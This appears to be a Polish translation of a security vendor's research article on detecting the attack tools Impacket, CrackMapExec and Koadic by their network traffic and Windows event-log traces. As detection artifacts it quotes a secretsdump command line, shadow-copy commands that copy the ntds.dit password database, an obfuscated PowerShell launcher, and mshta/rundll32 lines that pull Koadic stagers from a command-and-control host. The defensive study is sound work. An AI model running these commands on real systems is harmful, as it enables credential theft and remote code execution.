Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów

Z roku na rok rośnie liczba ataków w sektorze korporacyjnym: na przykład w 2017 roku odnotowano o 13% więcej unikalnych incydentów niż w 2016 roku, a w 2018 roku - o 27% więcej incydentów, niż w poprzednim okresie. W tym również takich, w których głównym narzędziem roboczym jest system operacyjny Windows. W latach 2017-2018 grupy APT Dragonfly, APT28, APT MuddyWater przeprowadzały ataki na rządowe i wojskowe organizacje w Europie, Ameryce Północnej i Arabii Saudyjskiej. Do tego celu wykorzystały trzy narzędzia — Impacket, CrackMapExec i Koadic. Ich kod źródłowy jest dostępny na GitHubie.

Warto zaznaczyć, że te narzędzia nie są używane do początkowego włamania, ale do rozwijania ataku wewnątrz infrastruktury. Cyberprzestępcy wykorzystują je na różnych etapach ataku, które następują po pokonaniu perymetru. Co ciekawe, trudno je wykryć, często tylko za pomocą technologii wykrywania śladów kompromitacji w ruchu sieciowym lub narzędzi, które pozwalają wykryć aktywne działania przestępcy po jego penetracji w infrastrukturę. Narzędzia oferują wiele funkcji — od przesyłania plików po interakcję z rejestrem i wykonywanie poleceń na zdalnej maszynie. Przeprowadziliśmy badanie tych narzędzi, aby określić ich aktywność sieciową.

Co musieliśmy zrobić:

  • Zrozumieć, jak działa zestaw narzędzi hakerskich.Dowiedzieć się, czego potrzebują atakujący do eksploatacji i jakimi technologiami mogą się posłużyć.
  • Znaleźć to, co nie jest wykrywane przez środki bezpieczeństwa informacji na wczesnych etapach ataku.Etap rekonesansu może być pominięty, albo dlatego, że atakującym jest wewnętrzny przestępca, albo dlatego, że atakujący wykorzystuje lukę w infrastrukturze, o której wcześniej nie wiedziano. Pojawia się możliwość odtworzenia całego łańcucha jego działań, stąd pojawia się chęć wykrywania dalszych ruchów.
  • Wyeliminować fałszywe alarmy systemów wykrywania włamań.. Nie można zapominać, że na podstawie samego wywiadu mogą wystąpić częste błędy przy wykrywaniu określonych działań. Zwykle w infrastrukturze istnieje wystarczająca liczba sposobów, które na pierwszy rzut oka nie różnią się od legalnych, aby uzyskać jakiekolwiek informacje.

Co te narzędzia dają atakującym? Jeśli chodzi o Impacket, to przestępcy zyskują dużą bibliotekę modułów, które można wykorzystać na różnych etapach ataku przebiegającego po pokonaniu perymetru. Wiele narzędzi wykorzystuje moduły Impacket w swoim wnętrzu — na przykład Metasploit. Zawiera dcomexec i wmiexec do zdalnego wykonywania poleceń, secretsdump do pobierania kont z pamięci, które zostały dodane z Impacket. W efekcie poprawne wykrycie aktywności takiej biblioteki zapewni również wykrycie pochodnych.

O CrackMapExec (lub po prostu CME) twórcy nieprzypadkowo napisali „Powered by Impacket”. Ponadto, CME ma w sobie gotową funkcjonalność dla popularnych scenariuszy: to Mimikatz do pozyskiwania haseł lub ich skrótów, oraz włączenie Meterpreter czy Empire agent do zdalnego wykonania, i Bloodhound na pokładzie.

Trzeci wybrany przez nas narzędzie to Koadic. Jest dość nowe, zaprezentowane na międzynarodowej konferencji hakerskiej DEFCON 25 w 2017 roku, i wyróżnia się niestandardowym podejściem: pracą przez HTTP, Java Script i Microsoft Visual Basic Script (VBS). Takie podejście nazywa się living off the land: narzędzie korzysta z zestawu zależności i bibliotek wbudowanych w Windows. Twórcy nazywają go COM Command & Control, czyli C3.

IMPACKET

Funkcjonalność Impacket jest bardzo szeroka, zaczynając od wywiadu wewnątrz AD i zbierania danych z wewnętrznych serwerów MS SQL, a kończąc na technikach pozyskiwania danych uwierzytelniających: to atak SMB relay oraz pozyskiwanie z kontrolera domeny pliku ntds.dit, zawierającego skróty haseł użytkowników. Impacket wykonuje zdalnie polecenia, korzystając z czterech różnych sposobów: przez WMI, usługę do zarządzania harmonogramem Windows, DCOM i SMB, i w tym przypadku potrzebuje danych uwierzytelniających.

Secretsdump

Przyjrzyjmy się secretsdump. To moduł, którego celem mogą być zarówno maszyny użytkowników, jak i kontrolery domeny. Dzięki niemu można uzyskiwać kopie obszarów pamięci LSA, SAM, SECURITY, NTDS.dit, dlatego można go zobaczyć na różnych etapach ataku. Pierwszym krokiem w pracy modułu jest uwierzytelnienie przez SMB, do którego potrzebne jest albo hasło użytkownika, albo jego hash do automatycznego przeprowadzenia ataku Pass the Hash. Następnie następuje żądanie otwarcia dostępu do Service Control Manager (SCM) oraz uzyskania dostępu do rejestru przez protokół winreg, za pomocą którego atakujący może poznać interesujące go gałęzie i uzyskać wyniki przez SMB.

Na rys. 1 widzimy, w jaki sposób przy użyciu protokołu winreg następuje uzyskanie dostępu do klucza rejestru z LSA. W tym celu używana jest komenda DCERPC z opcode 15 — OpenKey.

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 1. Otwarcie klucza rejestru przez protokół winreg

Następnie, kiedy dostęp do klucza zostaje uzyskany, odbywa się zapis wartości komendą SaveKey z opcode 20. Impacket robi to w dość specyficzny sposób. Zapisuje wartości do pliku, którego nazwa to ciąg 8 losowych znaków z dodatkiem .tmp. Ponadto dalsze wywalenie tego pliku odbywa się przez SMB z katalogu System32 (rys. 2).

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 2. Schemat uzyskania klucza rejestru z zdalnej maszyny

Z tego wynika, że można wykryć taką aktywność w sieci po zapytaniach do określonych gałęzi rejestru przez protokół winreg, specyficznych nazwach, komendach i ich kolejności.

Ponadto ten moduł zostawia ślady w dziennikach zdarzeń Windows, dzięki którym jest łatwo wykrywalny. Na przykład w wyniku wykonania komendy

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

w dzienniku Windows Server 2016 zobaczymy następującą kluczową sekwencję zdarzeń:

1. 4624 — zdalne logowanie.
2. 5145 — sprawdzenie uprawnień dostępu do zdalnej usługi winreg.
3. 5145 — sprawdzenie uprawnień dostępu do pliku w katalogu System32. Plik ma losową nazwę, wspomnianą wcześniej.
4. 4688 — utworzenie procesu cmd.exe, który uruchamia vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — utworzenie procesu z komendą:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 — tworzenie procesu z poleceniem:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 — tworzenie procesu z poleceniem:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Tak jak w przypadku wielu narzędzi do post-eksploatacji, Impacket ma moduły do zdalnego wykonywania poleceń. Skupimy się na smbexec, który daje interaktywny interfejs poleceń na zdalnej maszynie. Ten moduł również wymaga uwierzytelnienia przez SMB, zarówno hasłem, jak i jego hashem. Na rys. 3 widzimy przykład działania takiego narzędzia, w tym przypadku jest to konsola lokalnego administratora.

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 3. Interaktywna konsola smbexec

Pierwszym etapem pracy smbexec po uwierzytelnieniu jest otwarcie SCM poleceniem OpenSCManagerW (15). Żądanie jest interesujące: pole MachineName ma wartość DUMMY.

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 4. Żądanie otwarcia Service Control Manager

Następnie następuje tworzenie usługi za pomocą polecenia CreateServiceW (12). W przypadku smbexec możemy zauważyć, że zawsze stosuje się tę samą logikę w budowie polecenia. Na rys. 5 zaznaczone na zielono są parametry polecenia, które są niezmienne, a na żółto — to, co atakujący może zmienić. Łatwo zauważyć, że nazwę pliku wykonywalnego, jego katalog oraz plik wyjściowy można zmienić, ale pozostałe aspekty są trudniejsze do zmiany, nie naruszając logiki działania modułu Impacket.

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 5. Żądanie stworzenia usługi z użyciem Service Control Manager

Smbexec również pozostawia wyraźne ślady w dzienniku zdarzeń systemu Windows. W dzienniku Windows Server 2016 dla interaktywnej powłoki poleceń z poleceniem ipconfig zobaczymy następującą kluczową sekwencję zdarzeń:

1. 4697 — instalacja usługi na urządzeniu ofiary:

%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 — tworzenie procesu cmd.exe z argumentami z punktu 1.
3. 5145 — sprawdzenie uprawnień dostępu do pliku __output w katalogu C$.
4. 4697 — instalacja usługi na urządzeniu ofiary.

%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — tworzenie procesu cmd.exe z argumentami z punktu 4.
6. 5145 — sprawdzenie uprawnień dostępu do pliku __output w katalogu C$.

Impacket jest podstawą do tworzenia narzędzi do ataków. Obsługuje prawie wszystkie protokoły w infrastrukturze Windows i posiada swoje charakterystyczne cechy. Obejmuje konkretne zapytania winreg, korzystanie z API SCM z charakterystycznym formowaniem poleceń, formaty nazw plików oraz udostępnianie SMB SYSTEM32.

CRACKMAPEXEC

Narzędzie CME ma na celu przede wszystkim automatyzację rutynowych czynności, które atakujący musi wykonywać w celu poruszania się w sieci. Umożliwia współpracę z dobrze znanymi agentami Empire i Meterpreter. Aby wykonywać polecenia w sposób ukryty, CME może je zmylić. Korzystając z Bloodhound (osobne narzędzie do wywiadu), atakujący może zautomatyzować wyszukiwanie aktywnej sesji domenowego administratora.

Bloodhound

Bloodhound jako samodzielne narzędzie umożliwia zaawansowany wywiad w sieci. Zbiera dane o użytkownikach, maszynach, grupach, sesjach i jest dostarczany w postaci skryptu PowerShell lub pliku binarnego. Do zbierania informacji używa protokołów LDAP lub opartych na SMB. Moduł integracyjny CME pozwala przesyłać Bloodhound na maszynę ofiary, uruchamiać go i zbierać dane po wykonaniu, automatyzując w ten sposób działania w systemie i czyniąc je mniej zauważalnymi. Graficzny interfejs Bloodhound przedstawia zebrane dane w postaci grafów, co pozwala znaleźć najkrótszą drogę od maszyny atakującego do domenowego administratora.

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 6. Interfejs Bloodhound

Aby uruchomić na maszynie ofiary, moduł tworzy zadanie, korzystając z ATSVC i SMB. ATSVC jest interfejsem do pracy z harmonogramem zadań Windows. CME używa jego funkcji NetrJobAdd (1) do tworzenia zadań w sieci. Przykład tego, co wysyła moduł CME, przedstawiony jest na rys. 7: to wywołanie polecenia cmd.exe oraz zmyślony kod w postaci argumentów w formacie XML.

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 7. Tworzenie zadania przez CME

Po tym, jak zadanie zostało przekazane do wykonania, maszyna ofiary uruchamia sam Bloodhound, co można zauważyć w ruchu sieciowym. Moduł charakteryzuje się zapytaniami LDAP do uzyskiwania standardowych grup, listy wszystkich maszyn i użytkowników w domenie oraz pozyskiwaniem informacji o aktywnych sesjach użytkowników za pomocą zapytania SRVSVC NetSessEnum.

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 8. Uzyskiwanie listy aktywnych sesji przez SMB

Dodatkowo, uruchomienie Bloodhound na komputerze ofiary z włączoną audytą wiąże się z zdarzeniem o ID 4688 (tworzenie procesu) oraz nazwą procesu "C:WindowsSystem32cmd.exe". Ciekawym w tym przypadku są argumenty wiersza poleceń:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOIN'')( [chAR[]](91 , 78, 101, 116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Bardzo interesujący z punktu widzenia funkcjonalności i realizacji moduł enum_avproducts. WMI umożliwia za pomocą języka zapytań WQL uzyskiwanie danych o różnych obiektach systemu Windows, co w istocie wykorzystuje ten moduł CME. Generuje zapytania do klas AntiSpywareProduct i AntiMirusProduct dotyczące środków ochrony zainstalowanych na komputerze ofiary. Aby uzyskać potrzebne dane, moduł łączy się z przestrzenią nazw rootSecurityCenter2, następnie formuje zapytanie WQL i otrzymuje odpowiedź. Na rys. 9 przedstawiono zawartość takich zapytań oraz odpowiedzi. W naszym przykładzie znalazł się Windows Defender.

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 9. Aktywność sieciowa modułu enum_avproducts

Często audyt WMI (Trace WMI-Activity), w zdarzeniach którego można znaleźć przydatne informacje o zapytaniach WQL, może być wyłączony. Ale jeśli jest włączony, to w przypadku uruchomienia skryptu enum_avproducts zostanie zapisane zdarzenie o ID 11. Będzie zawierać nazwę użytkownika, który wysłał zapytanie, oraz nazwę w przestrzeni nazw rootSecurityCenter2.

Każdy z modułów CME posiada swoje artefakty, czy to specyficzne zapytania WQL, czy tworzenie określonego rodzaju zadań w harmonogramie zadań z obfuskacją oraz charakterystyczna dla Bloodhound aktywność w LDAP i SMB.

KOADIC

Wyróżniającą cechą Koadic jest korzystanie z wbudowanych w Windows interpreterów JavaScript i VBScript. W tym sensie podąża za trendem living off the land — tzn. nie ma zewnętrznych zależności i korzysta z standardowych narzędzi Windows. To narzędzie do pełnej kontroli nad systemem Command & Control (CnC), ponieważ po zainfekowaniu na komputerze instalowany jest „implat”, który pozwala na jego kontrolowanie. Taki komputer, w terminologii Koadic, nazywany jest „zombie”. W przypadku braku uprawnień do pełnoprawnej pracy po stronie ofiary Koadic ma możliwość ich podniesienia, stosując techniki omijania kontroli konta użytkownika (UAC bypass).

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 10. Powłoka poleceń Koadic

Ofiara musi sama zainicjować komunikację z serwerem Command & Control. W tym celu musi skontaktować się z wcześniej przygotowanym URI i pobrać główne ciało Koadic za pomocą jednego z stagerów. Na rys. 11 pokazano przykład dla stagera mshta.

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 11. Inicjalizacja sesji z serwerem CnC

Z zmiennej WS odpowiedzi wynika, że wykonanie odbywa się przez WScript.Shell, a zmienne STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE zawierają kluczowe informacje o parametrach bieżącej sesji. To pierwsza para zapytanie-odpowiedź w połączeniu HTTP z serwerem CnC. Kolejne zapytania są bezpośrednio związane z funkcjonalnością wywoływanych modułów (implementacji). Wszystkie moduły Koadic działają tylko z aktywną sesją z CnC.

Mimikatz

Tak jak CME działa z Bloodhound, Koadic działa z Mimikatz jako oddzielnym programem i ma kilka sposobów uruchomienia. Poniżej przedstawiono parę zapytanie-odpowiedź do załadowania implementacji Mimikatz.

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 12. Przekazanie Mimikatz do Koadic

Można zauważyć, jak zmienił się format URI w zapytaniu. Pojawiła się wartość dla zmiennej csrf, która odpowiada za wybrany moduł. Nie zwracaj uwagi na jej nazwę; wszyscy wiemy, że pod CSRF zazwyczaj rozumie się coś innego. W odpowiedzi otrzymano to samo główne ciało Koadic, do którego dodano kod związany z Mimikatz. Jest on dość obszerny, więc omówimy kluczowe punkty. Przed nami zakodowana w base64 biblioteka Mimikatz, zserializowana klasa .NET, która ją zainjectuje, oraz argumenty do uruchomienia Mimikatz. Wynik wykonania jest przesyłany przez sieć w formie otwartej.

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 13. Wynik wykonania Mimikatz na zdalnej maszynie

Exec_cmd

W Koadic są również moduły zdolne do zdalnego wykonywania poleceń. Tutaj zobaczymy tę samą metodę generowania URI i znane zmienne sid i csrf. W przypadku modułu exec_cmd do ciała dodawany jest kod, który potrafi wykonywać polecenia shell. Poniżej przedstawiono taki kod, zawarty w odpowiedzi HTTP serwera CnC.

Jak wykryć ataki na infrastrukturę Windows: badamy narzędzia hakerów
Rys. 14. Kod implementacji exec_cmd

Zmienna GAWTUUGCFI z znanym atrybutem WS jest potrzebna do wykonania kodu. Dzięki niej implant wywołuje shell, przetwarzając dwie gałęzie kodu — shell.exec z zwrotem strumienia wyjściowego i shell.run bez zwracania.

Koadic nie jest typowym narzędziem, ale ma swoje artefakty, po których można go znaleźć w legitymowym ruchu:

  • specjalne formowanie zapytań HTTP,
  • użycie winHttpRequests API,
  • tworzenie obiektu WScript.Shell za pomocą ActiveXObject,
  • duża wykonawcza treść.

Początkowe połączenie inicjuje staging, co umożliwia wykrywanie jego aktywności za pomocą zdarzeń Windows. Dla mshta to zdarzenie 4688, które mówi o stworzeniu procesu z atrybutem uruchamiania:

C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6

Podczas wykonywania Koadic można zobaczyć również inne zdarzenia 4688 z atrybutami, które doskonale go charakteryzują:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Wnioski

Trend living off the land zyskuje popularność wśród przestępców. Używają oni wbudowanych w Windows narzędzi i mechanizmów do swoich potrzeb. Widzimy, jak popularne narzędzia Koadic, CrackMapExec i Impacket, działające na tej zasadzie, coraz częściej pojawiają się w raportach APT. Liczba forków tych narzędzi na GitHubie również rośnie, pojawiają się nowe (obecnie jest ich już około tysiąca). Trend zyskuje na popularności ze względu na swoją prostotę: przestępcy nie potrzebują zewnętrznych narzędzi, ponieważ są już na maszynach ofiar i pomagają omijać środki ochrony. Skupiamy się na badaniu interakcji sieciowych: każde z opisanych powyżej narzędzi pozostawia swoje ślady w ruchu sieciowym; ich szczegółowe badanie pozwoliło nam nauczyć nasz produkt PT Network Attack Discovery ich wykrywania, co w rezultacie pomaga w śledzeniu całego łańcucha incydentów cybernetycznych z ich udziałem.

Autorzy:

  • Anton Tyurin, kierownik działu usług eksperckich, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, ekspert, PT Expert Security Center, Positive Technologies

Źródło: habr.com

Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS 🔥 Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS | ProHoster